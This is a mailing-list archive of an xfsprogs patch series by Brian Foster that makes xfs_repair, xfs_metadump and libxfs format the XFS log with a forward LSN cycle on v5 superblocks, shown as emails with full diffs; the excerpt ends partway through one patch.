support for xfs_db's uuid command and xfs_metadump. v1: http://oss.sgi.com/pipermail/xfs/2015-August/043397.html Brian Foster (18): libxfs: validate metadata LSNs against log on v5 superblocks libxfs: track largest metadata LSN in use via verifiers libxfs: don't hardcode cycle 1 into unmount op header libxfs: pass lsn param to log clear and record header logging helpers libxfs: add ability to clear log to arbitrary log cycle libxlog: pull struct xlog out of xlog_is_dirty() xfs_repair: track log state throughout all recovery phases xfs_repair: process the log in no_modify mode xfs_repair: format the log with forward cycle number on v5 supers xfs_repair: don't clear the log by default xfs_repair: seed the max lsn from log state in phase 2 xfs_db: do not reset current lsn from uuid command on v5 supers db/metadump: bump lsn when log is cleared on v5 supers xfs_copy: check for dirty log on non-duplicate copies xfs_copy: genericize write helper to facilitate separate log buf xfs_copy: store data buf alignment in buf data structure xfs_copy: refactor log format code into new helper xfs_copy: format v5 sb logs correctly Makefile | 2 +- copy/Makefile | 4 +- copy/xfs_copy.c | 196 +++++++++++++++++++++++++++++++++++--------- copy/xfs_copy.h | 1 + db/init.c | 25 +++--- db/metadump.c | 21 ++++- db/sb.c | 18 +++- include/libxfs.h | 13 ++- include/libxlog.h | 3 +- include/xfs_mount.h | 6 ++ libxfs/libxfs_priv.h | 2 + libxfs/rdwr.c | 160 ++++++++++++++++++++++++++++++------ libxfs/util.c | 41 +++++++++ libxfs/xfs_alloc.c | 12 ++- libxfs/xfs_attr_leaf.c | 2 + libxfs/xfs_btree.c | 16 +++- libxfs/xfs_da_btree.c | 3 + libxfs/xfs_dir2_block.c | 2 + libxfs/xfs_dir2_data.c | 2 + libxfs/xfs_dir2_leaf.c | 2 + libxfs/xfs_dir2_node.c | 2 + libxfs/xfs_ialloc.c | 9 +- libxfs/xfs_sb.c | 9 ++ libxfs/xfs_symlink_remote.c | 3 + libxlog/util.c | 37 +++++---- mkfs/xfs_mkfs.c | 4 +- repair/phase2.c | 90 +++++++++++++------- repair/xfs_repair.c | 79 +++++++++++++++++- 28 files changed, 614 insertions(+), 150 deletions(-) -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B83FA7F5A for ; Fri, 2 Oct 2015 13:19:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0821304032 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cb6c6b061ab7f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gQM0T7jMuwMRnIFX (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id AADCDC0B64B9 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJveN023994 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id F06DF1202D2; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 13/18] db/metadump: bump lsn when log is cleared on v5 supers Date: Fri, 2 Oct 2015 14:19:50 -0400 X-ASG-Orig-Subj: [PATCH v3 13/18] db/metadump: bump lsn when log is cleared on v5 supers Message-Id: <1443809995-20395-14-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809998 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_metadump handles the log in different ways depending on the mode of operation. If the log is dirty or obfuscation and stale data zeroing are disabled, the log is copied as is. In all other scenarios, the log is explicitly zeroed. This is incorrect for version 5 superblocks where the current LSN is always expected to be ahead of all fs metadata. Update metadump to use libxfs_log_clear() to format the log with an elevated LSN rather than zero the log and reset the current the LSN. Metadump does not use buffers for the dump target, instead using a cursor implementation to access the log via a single memory buffer. Therefore, update libxfs_log_clear() to receive an optional (but exclusive to the buftarg parameter) memory buffer pointer for the log. If the pointer is provided, the log format is written out to this buffer. Otherwise, fall back to the original behavior and access the log through buftarg buffers. Signed-off-by: Brian Foster --- db/metadump.c | 16 +++++++++++-- db/sb.c | 2 +- include/libxfs.h | 4 ++-- libxfs/rdwr.c | 68 +++++++++++++++++++++++++++++++++++++++-------------- mkfs/xfs_mkfs.c | 2 +- repair/phase2.c | 2 +- repair/xfs_repair.c | 5 ++-- 7 files changed, 72 insertions(+), 27 deletions(-) diff --git a/db/metadump.c b/db/metadump.c index 129670e..56b733e 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -2514,6 +2514,10 @@ copy_log(void) { struct xlog log; int dirty; + xfs_daddr_t logstart; + int logblocks; + int logversion; + int cycle = XLOG_INIT_CYCLE; if (show_progress) print_progress("Copying log"); @@ -2538,8 +2542,16 @@ copy_log(void) /* clear out a clean log */ if (show_progress) print_progress("Zeroing clean log"); - memset(iocur_top->data, 0, - mp->m_sb.sb_logblocks * mp->m_sb.sb_blocksize); + + logstart = XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart); + logblocks = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); + logversion = xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1; + if (xfs_sb_version_hascrc(&mp->m_sb)) + cycle = log.l_curr_cycle + 1; + + libxfs_log_clear(NULL, iocur_top->data, logstart, logblocks, + &mp->m_sb.sb_uuid, logversion, + mp->m_sb.sb_logsunit, XLOG_FMT, cycle); break; case 1: /* keep the dirty log */ diff --git a/db/sb.c b/db/sb.c index 30c622d..17d446c 100644 --- a/db/sb.c +++ b/db/sb.c @@ -283,7 +283,7 @@ sb_logzero(uuid_t *uuidp) dbprintf(_("Clearing log and setting UUID\n")); - error = libxfs_log_clear(mp->m_logdev_targp, + error = libxfs_log_clear(mp->m_logdev_targp, NULL, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), uuidp, diff --git a/include/libxfs.h b/include/libxfs.h index 6c87934..f733c36 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -153,8 +153,8 @@ typedef char *(libxfs_get_block_t)(char *, int, void *); * Helpers to clear the log to a particular log cycle. */ #define XLOG_INIT_CYCLE 1 -extern int libxfs_log_clear(struct xfs_buftarg *, xfs_daddr_t, uint, - uuid_t *, int, int, int, int); +extern int libxfs_log_clear(struct xfs_buftarg *, char *, xfs_daddr_t, + uint, uuid_t *, int, int, int, int); extern int libxfs_log_header(char *, uuid_t *, int, int, int, xfs_lsn_t, xfs_lsn_t, libxfs_get_block_t *, void *); diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c index 93f6eb7..ee41a1e 100644 --- a/libxfs/rdwr.c +++ b/libxfs/rdwr.c @@ -133,38 +133,54 @@ static void unmount_record(void *p) memcpy((char *)p + sizeof(xlog_op_header_t), &magic, sizeof(magic)); } -static char *next(char *ptr, int offset, void *private) +static char *next( + char *ptr, + int offset, + void *private) { - xfs_buf_t *buf = (xfs_buf_t *)private; + struct xfs_buf *buf = (struct xfs_buf *)private; - if (XFS_BUF_COUNT(buf) < (int)(ptr - XFS_BUF_PTR(buf)) + offset) + if (buf && + (XFS_BUF_COUNT(buf) < (int)(ptr - XFS_BUF_PTR(buf)) + offset)) abort(); + return ptr + offset; } +/* + * Format the log. The caller provides either a buftarg which is used to access + * the log via buffers or a direct pointer to a buffer that encapsulates the + * entire log. + */ int libxfs_log_clear( struct xfs_buftarg *btp, + char *dptr, xfs_daddr_t start, - uint length, + uint length, /* basic blocks */ uuid_t *fs_uuid, int version, - int sunit, + int sunit, /* bytes */ int fmt, int cycle) { - xfs_buf_t *bp; + struct xfs_buf *bp = NULL; int len; xfs_lsn_t lsn; xfs_lsn_t tail_lsn; xfs_daddr_t blk; xfs_daddr_t end_blk; + char *ptr; - if (!btp->dev || !fs_uuid) + if (((btp && dptr) || (!btp && !dptr)) || + (btp && !btp->dev) || !fs_uuid) return -EINVAL; /* first zero the log */ - libxfs_device_zero(btp, start, length); + if (btp) + libxfs_device_zero(btp, start, length); + else + memset(dptr, 0, BBTOB(length)); /* * Initialize the log record length and LSNs. XLOG_INIT_CYCLE is a @@ -182,11 +198,17 @@ libxfs_log_clear( tail_lsn = xlog_assign_lsn(cycle - 1, length - len); /* write out the first log record */ - bp = libxfs_getbufr(btp, start, len); - libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, sunit, fmt, - lsn, tail_lsn, next, bp); - bp->b_flags |= LIBXFS_B_DIRTY; - libxfs_putbufr(bp); + ptr = dptr; + if (btp) { + bp = libxfs_getbufr(btp, start, len); + ptr = XFS_BUF_PTR(bp); + } + libxfs_log_header(ptr, fs_uuid, version, sunit, fmt, lsn, tail_lsn, + next, bp); + if (bp) { + bp->b_flags |= LIBXFS_B_DIRTY; + libxfs_putbufr(bp); + } /* * There's nothing else to do if this is a log reset. The kernel detects @@ -207,6 +229,8 @@ libxfs_log_clear( */ cycle--; blk = start + len; + if (dptr) + dptr += BBTOB(len); end_blk = start + length; len = min(end_blk - blk, BTOBB(BDSTRAT_SIZE)); @@ -214,18 +238,26 @@ libxfs_log_clear( lsn = xlog_assign_lsn(cycle, blk - start); tail_lsn = xlog_assign_lsn(cycle, blk - start - len); - bp = libxfs_getbufr(btp, blk, len); + ptr = dptr; + if (btp) { + bp = libxfs_getbufr(btp, blk, len); + ptr = XFS_BUF_PTR(bp); + } /* * Note: pass the full buffer length as the sunit to initialize * the entire buffer. */ - libxfs_log_header(XFS_BUF_PTR(bp), fs_uuid, version, BBTOB(len), - fmt, lsn, tail_lsn, next, bp); - bp->b_flags |= LIBXFS_B_DIRTY; - libxfs_putbufr(bp); + libxfs_log_header(ptr, fs_uuid, version, BBTOB(len), fmt, lsn, + tail_lsn, next, bp); + if (bp) { + bp->b_flags |= LIBXFS_B_DIRTY; + libxfs_putbufr(bp); + } len = min(end_blk - blk, BTOBB(BDSTRAT_SIZE)); blk += len; + if (dptr) + dptr += BBTOB(len); } return 0; diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index 238d400..5f939b5 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2667,7 +2667,7 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), /* * Zero the log.... */ - libxfs_log_clear(mp->m_logdev_targp, + libxfs_log_clear(mp->m_logdev_targp, NULL, XFS_FSB_TO_DADDR(mp, logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, logblocks), &sbp->sb_uuid, logversion, lsunit, XLOG_FMT, XLOG_INIT_CYCLE); diff --git a/repair/phase2.c b/repair/phase2.c index f9d0e22..cb24711 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -114,7 +114,7 @@ zero_log( * filesystems. */ if (!no_modify && zap_log) { - libxfs_log_clear(log->l_dev, + libxfs_log_clear(log->l_dev, NULL, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), &mp->m_sb.sb_uuid, diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 8285d9d..bed2ff5 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -584,8 +584,9 @@ format_log_max_lsn( } do_warn(_("Format log to cycle %d.\n"), new_cycle); - libxfs_log_clear(log->l_dev, logstart, logblocks, &mp->m_sb.sb_uuid, - logversion, mp->m_sb.sb_logsunit, XLOG_FMT, new_cycle); + libxfs_log_clear(log->l_dev, NULL, logstart, logblocks, + &mp->m_sb.sb_uuid, logversion, mp->m_sb.sb_logsunit, + XLOG_FMT, new_cycle); } int -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1FD697F59 for ; Fri, 2 Oct 2015 13:20:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 77D7DAC02B for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cbb033b11d6a60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id p5QYIVHYCj8xutyj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 7DB752C76F6 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJveC023986 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 906E51204F9; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 07/18] xfs_repair: track log state throughout all recovery phases Date: Fri, 2 Oct 2015 14:19:44 -0400 X-ASG-Orig-Subj: [PATCH v3 07/18] xfs_repair: track log state throughout all recovery phases Message-Id: <1443809995-20395-8-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_repair examines and clears the log in phase 2. Phase 2 acquires the log state in local data structures that are lost upon phase exit. v5 filesystems require that the log is formatted with a higher cycle number after the fs is repaired. This requires assessment of the log state to determine whether a reformat is necessary. Rather than duplicate the log processing code, update phase 2 to populate a globally available log data structure. Add a log pointer to xfs_mount, as exists in kernel space, that repair uses to store a reference to the log that is available to various phases. Note that this patch simply plumbs through the global log data structure and does not change behavior in any way. Signed-off-by: Brian Foster --- include/xfs_mount.h | 6 ++++++ repair/phase2.c | 34 +++++++++++++++++++--------------- repair/xfs_repair.c | 8 +++++++- 3 files changed, 32 insertions(+), 16 deletions(-) diff --git a/include/xfs_mount.h b/include/xfs_mount.h index ed897a2..5ec6866 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -98,6 +98,12 @@ typedef struct xfs_mount { int qi_dqperchunk; } *m_quotainfo; + /* + * xlog is defined in libxlog and thus is not intialized by libxfs. This + * allows an application to initialize and store a reference to the log + * if warranted. + */ + struct xlog *m_log; } xfs_mount_t; /* diff --git a/repair/phase2.c b/repair/phase2.c index 0673a0c..11504e3 100644 --- a/repair/phase2.c +++ b/repair/phase2.c @@ -39,33 +39,33 @@ static void zero_log(xfs_mount_t *mp) { int error; - struct xlog log; xfs_daddr_t head_blk, tail_blk; + struct xlog *log = mp->m_log; - memset(&log, 0, sizeof(log)); + memset(log, 0, sizeof(struct xlog)); x.logBBsize = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); x.logBBstart = XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart); x.lbsize = BBSIZE; if (xfs_sb_version_hassector(&mp->m_sb)) x.lbsize <<= (mp->m_sb.sb_logsectlog - BBSHIFT); - log.l_dev = mp->m_logdev_targp; - log.l_logBBsize = x.logBBsize; - log.l_logBBstart = x.logBBstart; - log.l_sectBBsize = BTOBB(x.lbsize); - log.l_mp = mp; + log->l_dev = mp->m_logdev_targp; + log->l_logBBsize = x.logBBsize; + log->l_logBBstart = x.logBBstart; + log->l_sectBBsize = BTOBB(x.lbsize); + log->l_mp = mp; if (xfs_sb_version_hassector(&mp->m_sb)) { - log.l_sectbb_log = mp->m_sb.sb_logsectlog - BBSHIFT; - ASSERT(log.l_sectbb_log <= mp->m_sectbb_log); + log->l_sectbb_log = mp->m_sb.sb_logsectlog - BBSHIFT; + ASSERT(log->l_sectbb_log <= mp->m_sectbb_log); /* for larger sector sizes, must have v2 or external log */ - ASSERT(log.l_sectbb_log == 0 || - log.l_logBBstart == 0 || + ASSERT(log->l_sectbb_log == 0 || + log->l_logBBstart == 0 || xfs_sb_version_haslogv2(&mp->m_sb)); ASSERT(mp->m_sb.sb_logsectlog >= BBSHIFT); } - log.l_sectbb_mask = (1 << log.l_sectbb_log) - 1; + log->l_sectbb_mask = (1 << log->l_sectbb_log) - 1; - if ((error = xlog_find_tail(&log, &head_blk, &tail_blk))) { + if ((error = xlog_find_tail(log, &head_blk, &tail_blk))) { do_warn(_("zero_log: cannot find log head/tail " "(xlog_find_tail=%d), zeroing it anyway\n"), error); @@ -93,12 +93,16 @@ zero_log(xfs_mount_t *mp) } } - libxfs_log_clear(log.l_dev, - XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), + libxfs_log_clear(log->l_dev, XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart), (xfs_extlen_t)XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks), &mp->m_sb.sb_uuid, xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1, mp->m_sb.sb_logsunit, XLOG_FMT, XLOG_INIT_CYCLE); + + /* update the log data structure with new state */ + error = xlog_find_tail(log, &head_blk, &tail_blk); + if (error || head_blk != tail_blk) + do_error(_("failed to clear log")); } /* diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 85a012b..0e80124 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -539,6 +539,7 @@ main(int argc, char **argv) xfs_dsb_t *dsb; xfs_buf_t *sbp; xfs_mount_t xfs_m; + struct xlog log = {0}; char *msgbuf; struct xfs_sb psb; int rval; @@ -620,7 +621,11 @@ main(int argc, char **argv) } } - /* prepare the mount structure */ + /* + * Prepare the mount structure. Point the log reference to our local + * copy so it's available to the various phases. The log bits are + * initialized in phase 2. + */ memset(&xfs_m, 0, sizeof(xfs_mount_t)); mp = libxfs_mount(&xfs_m, &psb, x.ddev, x.logdev, x.rtdev, 0); @@ -630,6 +635,7 @@ main(int argc, char **argv) progname); exit(1); } + mp->m_log = &log; /* * set XFS-independent status vars from the mount/sb structure -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 274F67F5D for ; Fri, 2 Oct 2015 13:20:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 839CBAC02C for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cbb033b01d6a60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2MH5NmIgphZCUmFZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 8344EC0A15E4 for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvLr026230 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id BA16112057F; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 09/18] xfs_repair: format the log with forward cycle number on v5 supers Date: Fri, 2 Oct 2015 14:19:46 -0400 X-ASG-Orig-Subj: [PATCH v3 09/18] xfs_repair: format the log with forward cycle number on v5 supers Message-Id: <1443809995-20395-10-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 v5 filesystems use the current LSN and the last modified LSN stored within fs metadata to provide correct log recovery ordering. xfs_repair historically clears the log in phase 2. This resets to the current LSN of the filesystem to the initial cycle, as if the fs was just created. This is problematic because the filesystem LSN is now behind many pre-existing metadata structures on-disk until either the current filesystem LSN catches up or those particular data structures are modified and written out. If a filesystem crash occurs in the meantime, log recovery can incorrectly skip log items and cause filesystem corruption. Update xfs_repair to check the maximum metadata LSN value against the current log state once the filesystem has been processed. If the maximum LSN exceeds the current LSN with respect to the log, reformat the log with a cycle number that exceeds that of the maximum LSN. Signed-off-by: Brian Foster --- repair/xfs_repair.c | 70 +++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 68 insertions(+), 2 deletions(-) diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 0e80124..8285d9d 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -531,6 +531,63 @@ _("sb realtime summary inode %" PRIu64 " %sinconsistent with calculated value %u } +/* + * v5 superblock metadata track the LSN of last modification and thus require + * that the current LSN is always moving forward. The current LSN is reset if + * the log has been cleared, which puts the log behind parts of the filesystem + * on-disk and can disrupt log recovery. + * + * We have tracked the maximum LSN of every piece of metadata that has been read + * in via the read verifiers. Compare the max LSN with the log and if the log is + * behind, bump the cycle number and reformat the log. + */ +static void +format_log_max_lsn( + struct xfs_mount *mp) +{ + struct xlog *log = mp->m_log; + int max_cycle; + int max_block; + int new_cycle; + xfs_daddr_t logstart; + xfs_daddr_t logblocks; + int logversion; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return; + + /* + * If the log is ahead of the highest metadata LSN we've seen, we're + * safe and there's nothing to do. + */ + max_cycle = CYCLE_LSN(libxfs_max_lsn); + max_block = BLOCK_LSN(libxfs_max_lsn); + if (max_cycle < log->l_curr_cycle || + (max_cycle == log->l_curr_cycle && max_block < log->l_curr_block)) + return; + + /* + * Going to the next cycle should be sufficient but we bump by a few + * counts to help cover any metadata LSNs we could have missed. + */ + new_cycle = max_cycle + 3; + logstart = XFS_FSB_TO_DADDR(mp, mp->m_sb.sb_logstart); + logblocks = XFS_FSB_TO_BB(mp, mp->m_sb.sb_logblocks); + logversion = xfs_sb_version_haslogv2(&mp->m_sb) ? 2 : 1; + + do_warn(_("Maximum metadata LSN (%d:%d) is ahead of log (%d:%d).\n"), + max_cycle, max_block, log->l_curr_cycle, log->l_curr_block); + + if (no_modify) { + do_warn(_("Would format log to cycle %d.\n"), new_cycle); + return; + } + + do_warn(_("Format log to cycle %d.\n"), new_cycle); + libxfs_log_clear(log->l_dev, logstart, logblocks, &mp->m_sb.sb_uuid, + logversion, mp->m_sb.sb_logsunit, XLOG_FMT, new_cycle); +} + int main(int argc, char **argv) { @@ -896,6 +953,12 @@ _("Warning: project quota information would be cleared.\n" stop_progress_rpt(); if (no_modify) { + /* + * Warn if the current LSN is problematic and the log requires a + * reformat. + */ + format_log_max_lsn(mp); + do_log( _("No modify flag set, skipping filesystem flush and exiting.\n")); if (verbose) @@ -931,11 +994,14 @@ _("Note - stripe unit (%d) and width (%d) were copied from a backup superblock.\ libxfs_writebuf(sbp, 0); /* - * Done, flush all cached buffers and inodes. + * Done. Flush all cached buffers and inodes first to ensure all + * verifiers are run (where we discover the max metadata LSN), reformat + * the log if necessary and unmount. */ libxfs_bcache_flush(); - + format_log_max_lsn(mp); libxfs_umount(mp); + if (x.rtdev) libxfs_device_close(x.rtdev); if (x.logdev && x.logdev != x.ddev) -- 2.1.0 From bfoster@redhat.com Fri Oct 2 13:20:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4391D7F5E for ; Fri, 2 Oct 2015 13:20:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9AFB7AC026 for ; Fri, 2 Oct 2015 11:19:59 -0700 (PDT) X-ASG-Debug-ID: 1443809997-04cbb033b21d6a60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wgWVdecuuexNTUbe (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 02 Oct 2015 11:19:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id 7CF86B7A6F for ; Fri, 2 Oct 2015 18:19:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t92IJvFe004541 for ; Fri, 2 Oct 2015 14:19:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 83E671204EE; Fri, 2 Oct 2015 14:19:55 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v3 06/18] libxlog: pull struct xlog out of xlog_is_dirty() Date: Fri, 2 Oct 2015 14:19:43 -0400 X-ASG-Orig-Subj: [PATCH v3 06/18] libxlog: pull struct xlog out of xlog_is_dirty() Message-Id: <1443809995-20395-7-git-send-email-bfoster@redhat.com> In-Reply-To: <1443809995-20395-1-git-send-email-bfoster@redhat.com> References: <1443809995-20395-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443809997 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xlog_is_dirty() helper is called in various places to acquire the current log head, tail and to determine whether the log is dirty. Some callers will require additional information to deal with formatting the log, such as the current LSN. xlog_is_dirty() already acquires this information through existing sub-helpers, but it is not available to callers as the xlog structure is allocated on the local stack. Update xlog_is_dirty() to receive the xlog structure as a parameter and pass it along such that additional information about the log is available to callers. Update the existing callers to allocate the xlog structure on the stack. Signed-off-by: Brian Foster --- db/metadump.c | 5 +++-- db/sb.c | 3 ++- include/libxlog.h | 3 ++- libxlog/util.c | 37 